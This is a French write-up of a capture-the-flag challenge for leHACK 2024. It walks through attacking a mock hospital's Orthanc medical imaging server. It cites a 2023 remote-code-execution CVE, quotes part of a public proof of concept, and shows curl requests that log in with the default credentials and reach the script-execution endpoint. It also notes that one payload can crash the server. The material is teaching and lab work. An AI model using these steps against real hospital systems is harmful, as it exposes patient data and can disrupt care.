Initié en 2003 par un groupe de personnes réunies sous le nom de Hackerz Voice et inspiré par le célèbre événement de hacking américain nommé DEFCON, leHACK fête ses 20 ans en 2024.
Pour l'occasion, en tant qu'ancien étudiant du Pôle Supérieur De La Salle (association SHIELDS), accompagné de la marraine de la promotion 2024 Claire Kemp, fondatrice de la société IT-Gnosis, j'ai eu l'occasion de créer un challenge pour animer le stand.
Contexte
Le RSSI du CHU HACK vous sollicite pour un test d’intrusion sur son système d’information hospitalier (SIH). Il attire votre attention sur un serveur utilisé pour l’imagerie médicale. Apparemment, les équipes techniques assurent l’avoir bien sécurisé. Prouvez-lui le contraire en lui donnant le nom du patient ayant réalisé un IRM cérébral.
Le serveur est accessible sur l'URL https://medic.hopto.org
Step 1 - Reconnaissance
On commence par regarder ce que contient notre serveur web :
ORTHANC est une plateforme open-source dédiée à la gestion et à l'archivage des images médicales, principalement au format DICOM (Digital Imaging and Communications in Medicine). Elle permet de stocker, de manipuler et de partager des images médicales, facilitant ainsi l'interopérabilité entre différents systèmes et dispositifs médicaux. ORTHANC est utilisée dans les hôpitaux et les cliniques pour gérer les données d'imagerie médicale de manière sécurisée et efficace. Elle propose une API RESTful qui permet l'intégration avec d'autres logiciels médicaux et outils de visualisation.
On apprend qu'il y a une API.
La documentation est disponible en ligne :
On apprend aussi qu'une CVE est sortie en 2023 :
Orthanc before 1.12.0 allows authenticated users with access to the Orthanc API to overwrite arbitrary files on the file system, and in specific deployment scenarios allows the attacker to overwrite the configuration, which can be exploited to trigger Remote Code Execution (RCE).
Un POC est disponible en ligne :
Il demande plusieurs prérequis :
parser = ArgumentParser()
parser.add_argument('--url', required=True, help='The URL of the target')
parser.add_argument('--credentials', default='orthanc:orthanc', help='The basic authentication credentials')
parser.add_argument('--config-path', default='/etc/orthanc/orthanc.json', help='The path to the configuration file')
args = parser.parse_args()
Infos d'internet pour les identifiants :
Conf par défaut trouvable sur internet :
Le POC met à disposition un script pour vérifier la vulnérabilité :
En analysant le code du POC, on découvre qu'il utilise plusieurs endpoint :
/instances
curl-kshttps://medic.hopto.org/instances<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
curl-kvshttps://medic.hopto.org/tools/execute-script> GET /tools/execute-script HTTP/1.1> Host: medic.hopto.org> User-Agent: curl/7.65.0> Accept: */*>* Mark bundle as not supporting multiuse< HTTP/1.1 401 Unauthorized< Server: nginx/1.18.0< Date: Sun, 07 Jul 2024 07:11:00 GMT< Content-Length: 0< Connection: keep-alive< WWW-Authenticate: Basic realm="Orthanc Secure Area"
Le seul endpoint fonctionnel semble être /tools/execute-script, les autres sont trigger par le reverse proxy nginx en frontal du serveur Orthanc, inexploitable.
curl-kvshttps://medic.hopto.org/tools/execute-script-uorthanc:orthanc> GET /tools/execute-script HTTP/1.1> Host: medic.hopto.org> Authorization: Basic b3J0aGFuYzpvcnRoYW5j # identifiants par défaut orthanc> User-Agent: curl/7.65.0> Accept: */*< HTTP/1.1 405 Method Not Allowed< Server: nginx/1.18.0< Date: Sun, 07 Jul 2024 07:11:46 GMT< Content-Length: 0< Connection: keep-alive< Allow: POST
En utilisant POST, on peut bien interroger l'endpoint 👍 :
curl-kvsXPOSThttps://medic.hopto.org/tools/execute-script-uorthanc:orthanc> POST /tools/execute-script HTTP/1.1> Host: medic.hopto.org> Authorization: Basic b3J0aGFuYzpvcnRoYW5j> User-Agent: curl/7.65.0> Accept: */*>* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Server: nginx/1.18.0< Date: Sun, 07 Jul 2024 07:13:46 GMT< Content-Type: text/plain< Content-Length: 0< Connection: keep-alive
Step 3 - Lateral Movement
On peut se renseigner sur l'endpoint /tools/execute-script dans la doc de l'API :
Il est possible d'exécuter des scripts en LUA (exemple de payload dans le POC d'ailleurs)
Cette commande permet de faire un simple print en LUA :
Pour un peu plus de fun, on peut aussi ouvrir la radio dans un tool comme MicroDicom DICOM Viewer :
Voilà ! à tester dans vos audits d'hopitaux, en maitrisant les payloads sur /execute-script... car un sleep 10000 sur l'endpoint coupe tout le serveur... 👏